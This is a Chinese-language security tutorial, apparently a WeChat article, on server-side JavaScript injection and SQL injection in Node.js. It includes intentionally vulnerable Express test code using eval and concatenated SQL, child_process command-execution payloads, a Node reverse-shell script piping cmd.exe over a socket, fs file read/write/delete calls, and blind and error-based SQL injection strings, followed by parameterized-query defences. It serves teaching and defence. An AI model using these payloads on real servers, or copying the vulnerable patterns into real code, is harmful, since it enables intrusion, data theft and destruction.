搜索公众号:白帽子左一,领配套练手靶场,全套安全课程及工具
一、SSJI简介
ssji,为服务器端的javascript注入,可分为sql注入和代码注入
运行于服务端的javascript常用的有node.js
node.js 是运行于服务端的javascript
把javascript变为服务器端的脚本语言
二、SSJI代码注入
SSJI代码注入原理
SSJI 代码注入是一个存在于javascript端的代码注入,存在于运行于服务端的js代码注入,当传入的参数可控且没有过滤时,就会产生漏洞,攻击者可以利用js函数执行恶意js代码
SSJI代码注入常用函数
node.js 常用的命令执行函数,由于它是运行于服务端的javascript,因此它使用的函数和javascript的相似
常用函数如下
eval() settimeout() setinterval() function()
首先看下这里的eval函数
eval
函数格式eval(string)
javascript的eval作用就是计算某个字符串,并执行其中的js代码
测试代码
var express = require("express");
var app = express();
app.get('/',function(req,res){
res.send(eval(req.query.a));
console.log(req.query.a);
})
app.listen(3002);
console.log('Server runing at http://127.0.0.1:3002/');
这里的参数a通过get传参的方式传入运行,我们传入参数会被当作代码去执行
这里传入一个console.log()的查看效果,console.log的作用是在控制台查看回显
看到这里能在控制台回显数据
function()
函数用法
function(string)()
这里的string就是我们传入的参数
这里的function用法类似于php里的create_function
这里用一个简单的测试代码测试下function是否可以执行代码
var express = require("express");
var app = express();
var aaa=Function("console.log('Hello world')")();
var server = app.listen(3088, function() {
console.log("应用实例,访问地址为 http://127.0.0.1:3088/");
})
实际测试时,当传入参数可控时,可能造成代码执行漏洞
settimeout()
函数格式
settimeout(function,time)
该函数作用是两秒后执行函数
function处为我们可控的参数
测试代码
var express = require("express");
var app = express();
setTimeout(() => {
console.log("console.log('Hello world')");
}, 2000);
var server = app.listen(8888, function() {
console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})
两秒后执行
函数测试效果如下
当这里为一个可控的传参时,漏洞就可能触发
setInterval() 函数
函数格式(function,time)
该函数的作用是每个两秒执行一次代码
测试代码
var express = require("express");
var app = express();
setInterval(() => {
console.log("console.log('Hello world')");
}, 2000);
var server = app.listen(8866, function() {
console.log("应用实例,访问地址为 http://127.0.0.1:8866/");
})
函数测试如下
当这里的function处为可控传参时,漏洞就有可能触发
SSJI代码注入实际运用
在实际情况下遇到该怎么运用呢?
1.利用process模块进行命令执行
process的作用是提供当前node.js进程信息并对其进行控制
这里用的比较多的,是通过child_process,即子进程区域使用,这里它的子进程可以使用更多的服务器资源
child_process下有许多不同的方法,分别为exec,forx,spawn,execfile这些
常用的有exec去执行命令
exec 用子进程执行命令,可以通过回调参数来获得执行结果
格式 exec(命令 参数,回调函数)(实际使用可以不加回调函数)
execfile 不用于执行命令,执行一个可执行文件
实际利用时,在第一个参数位置执行shell命令,类似exec
格式1 execfile(命令,{shell:true}) {shell:true} 为开启命令执行的指令
spawn 用于执行命令,但不需要获取执行结果
格式 spawn(命令,{shell:true}) 和execFile一样,需要开启命令执行的指令
fork 用于执行js文件,实际利用中需要提前写入恶意文件
fork 格式 fork(js文件(包含路径))
exec
测试命令
exec: require('child_process').exec('calc');
效果如下
execFile
测试命令如下
require(‘child_process’).execFile(“calc”,{shell:true});
效果如下
弹出了计算器
fork
加粗样式测试命令如下
require('child_process').fork("./555/hahaha/test92.js");
效果如下
spawn
测试代码
require(‘child_process’).spawn(“calc”,{shell:true});
效果如下
2.写shell
这里也可以写一个反弹shell
var net = require("net"),
sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(3000,"127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
通过child_process 去建立一个连接,同时运行cmd
效果如下
首先开启监听
再运行node.js
通过url去传入代码
效果如下
得到了目标cmd
3.通过调用核心模块fs去读取和写入文件
fs是node.js的文件系统模块,可以通过此模块来读取和写入文件
常用方法
这里方法又分为同步方法和异步方法
同步方法执行完并返回结果后才执行代码,异步方法使用回调函数接受返回结果,可以立刻执行代码,这里使用同步方法更加合适,同步方法写法简单,在方法后加上Sync即为同步方法
实际操作的话,需要足够的权限
这里使用同步操作的方法去使用
readdirSync
示例命令:
测试代码
res.end(require('fs').readdirSync('.').toString())
效果如下
writeFileSync
测试代码
res.end(require('fs').writeFileSync('./cvb.txt','123456').toString());
效果如下
虽然报错,但还是成功写入
rmdirSync
测试代码
res.end(require('fs').rmdirSync('./1234').toString());
原有文件夹 1234
执行后
报错
但是文件夹被删除
readFileSync
res.end(require(‘fs’).readFileSync(’./write1.txt’).toString());
效果如下
三、node.js sql注入
node.js编写的程序里,也可能存在sql注入,node.js作为一个运行于服务端的javascript后端脚本语言,支持的数据库有 sqlserver,mysql,sqlite,oracle等数据库,这里就用mysql举例
原理
和其他语言里存在sql注入漏洞的原因一样,都是没有对用户的输入做限制,当用户可控输入和原本程序要执行代码,拼接用户输入且当作SQL语句去执行
测试
node.js的sql注入和php这些都差不多,都是缺少对特殊字符的验证,用户可控输入和原本执行的代码,拼接用户输入且带入数据库中当作代码执行,这里验证node.js代码如果没有做限制就会存在SQL注入
测试代码
var mysql = require('mysql');
var express = require("express");
const app = express();
var db = mysql.createConnection({
host : 'localhost',
user : 'root',
password : 'root',
database : 'test'
});
db.connect();
app.get('/hello/:id',(req,res) => {
let sql=`select * from user where id= ${req.params.id}`;
db.query(sql,(err,result) => {
if(err){
console.log(err);
res.send(err)
}else{
console.log(result);
res.send(result)
}
})
});
app.listen(3018, () => {
console.log(‘Server runing at http://127.0.0.1:3018/‘);
})
首先访问测试站点
得到id为1时的数据
这里测试和一般的sql注入一样
首先判断下
语句 and 1=1 & and 1=2
看and 1=1的效果
再看下and 1=2的效果
没有输出
联合查询
首先判断字段
还是mysql数据库的,用order by 判断
判断出字段数为3
用联合查询的方式判断显错位
(这里由于测试的代码原因,都会显示到页面上)
测试sql语句
查询库名
查询表名
查询字段
查询数据
不仅是联合查询,其他诸如像盲注这些也可以使用
盲注测试
测试语句
and ascii(substr((select database()),1,1))>1
测试语句
and ascii(substr((select database()),1,1))>1000
报错注入
测试语句
and updatexml(‘1’,concat(‘~’,(select database())),’1’)
如何防止SQL注入
SQL注入这类问题就是因为没有做好过滤和对传参的控制所导致的,那么node.js里如何防止SQL注入问题,主要用到了3个方法
1.escape() 参数编码
node.js里的escape函数用于编码目标字符串,在sql语句拼接输入时,将sql语句编码来起到防止sql注入
测试代码
var mysql = require('mysql');
var express = require("express");
const app = express();
var db = mysql.createConnection({
host : 'localhost',
user : 'root',
password : 'root',
database : 'test'
});
db.connect();
app.get('/hello/:id',(req,res) => {
req.params.id = escape(req.params.id)
let sql=`select * from user where id= ${req.params.id}`;
db.query(sql,(err,result) => {
if(err){
console.log(err);
}else{
console.log(result);
res.send(result)
}
})
});
app.listen(3019, () => {
console.log('Server runing at http://127.0.0.1:3019/');
})
查询后报错
这里直接将查询语句编码后放入数据库查询报错
2.connection.query() 查询参数占位符
通过查询参数占位符的方法来起到绕过效果,通过占位符来达到防止sql注入的方法
采用?替换查询参数中的变量
var mysql = require('mysql');
var express = require("express");
const app = express();
var db = mysql.createConnection({
host : 'localhost',
user : 'root',
password : 'root',
database : 'test'
});
db.connect();
app.get('/hello/:id',(req,res) => {
db.query({
sql:'select * from user where id = ?',
values: [req.params.id],
},
function(err,result){
console.log(result);
res.send(result)
})
});
app.listen(3020, () => {
console.log('Server runing at http://127.0.0.1:3020/');
});
后续的查询语句无效,只查询了参数内容
3.mysql.format 转义
mysql.format用于转义参数,该函数会自动选择合适的方法转义参数
var mysql = require('mysql');
var express = require("express");
const app = express();
var db = mysql.createConnection({
host : 'localhost',
user : 'root',
password : 'root',
database : 'test'
});
db.connect();
app.get('/hello/:id',(req,res) => {
var sql="select * from user where id= ?";
var inserts = [req.params.id];
sql=mysql.format(sql,inserts);
db.query(sql,(err,result) => {
if(err){
console.log(err);
}else{
console.log(result);
res.send(result)
}
})
});
app.listen(3021, () => {
console.log('Server runing at http://127.0.0.1:3021/');
})
只查询了id参数相关内容,后面的sql语句内容无效